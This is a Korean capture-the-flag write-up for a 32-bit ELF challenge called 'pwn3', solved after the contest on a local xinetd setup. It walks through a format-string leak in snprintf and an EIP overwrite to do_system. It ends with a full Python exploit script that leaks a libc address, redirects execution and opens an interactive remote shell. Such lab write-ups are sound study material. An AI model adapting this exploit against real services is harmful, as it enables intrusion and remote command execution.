pwn3
시그니쳐 확인
elf 32bit
한번 실행시켜보았다.
strace 에 attach한후 간단히 분석해봄
특이한 함수는 보이지 않고 eip컨트롤 가능함이 보임
로컬문제라면 간단히 환경변수라든지 공격법이 많겟지만,
이건 데몬서비스로 돌리는 리모트문제임.
데몬서비스로 돌리는 만큼 do_system으로 eip를 바꿔서 쉘을 따보도록 하겟음. 그게 젤 간단할듯함.
근데 do_system이 어딧는지 모르니 메모리릭이 있는지 찾아봐야댐.
ida로 붙여서보면 FSB를 할수 있다는것을 알 수 있음.
ida로 분석해보면 알겟지만,
처음에 ix란 함수에서 malloc을 하고 pwn: %d라는 문자열을 저장한다.
근데 free를 하고 똑같은 크기를 다시 malloc하기 떄문에 알고리즘상 똑같은 청크를 다시받아오게 된다.
그리고 show함수에서 snprintf함수를 사용하게 되는데 인자로 주는 format과 그 뒤에 오는 인자가 컨트롤 가능해서 메모리 릭 취약점이 있다.
대회가 끝나고 이문제를 접했기 때문에, 내 우분투에 xinetd로 서비스를 구성하였다.
공격 시나리오는 다음과 같다.
메모리 릭 취약점으로 memset의 plt를 읽어온뒤(memset 말고 다른함수도 관계없다)
do_system+1058의 주소와의 offset(미리 해당시스템에서 구한값)을 더한뒤
그값을 두번째 read에서 eip를 그주소로 변경시켜줌.
쉘 획득.
아래는 작성한 exploit이다.
from socket import *
from struct import *
p = lambda x : pack("<L", x)
up = lambda x : unpack("<L",x)[0]
HOST = "192.168.236.139"
PORT = 7777
offset = 0xf6b9e #ubuntu 13.10
s=socket()
s.connect((HOST,PORT))
print s.recv(1024)
print s.recv(1024)
s.send("%s"+"a"*14+p(0x0804a02c))
do_system= up(s.recv(1024)[0:4])-offset
s.send("a"*20+p(do_system))
while(1):
data=raw_input("")
s.send(data+"\n") #raw_input은 개행문자를 없애고 보내기때문에 개행을 붙여야 명령이 정상실행
print s.recv(1024)
s.close()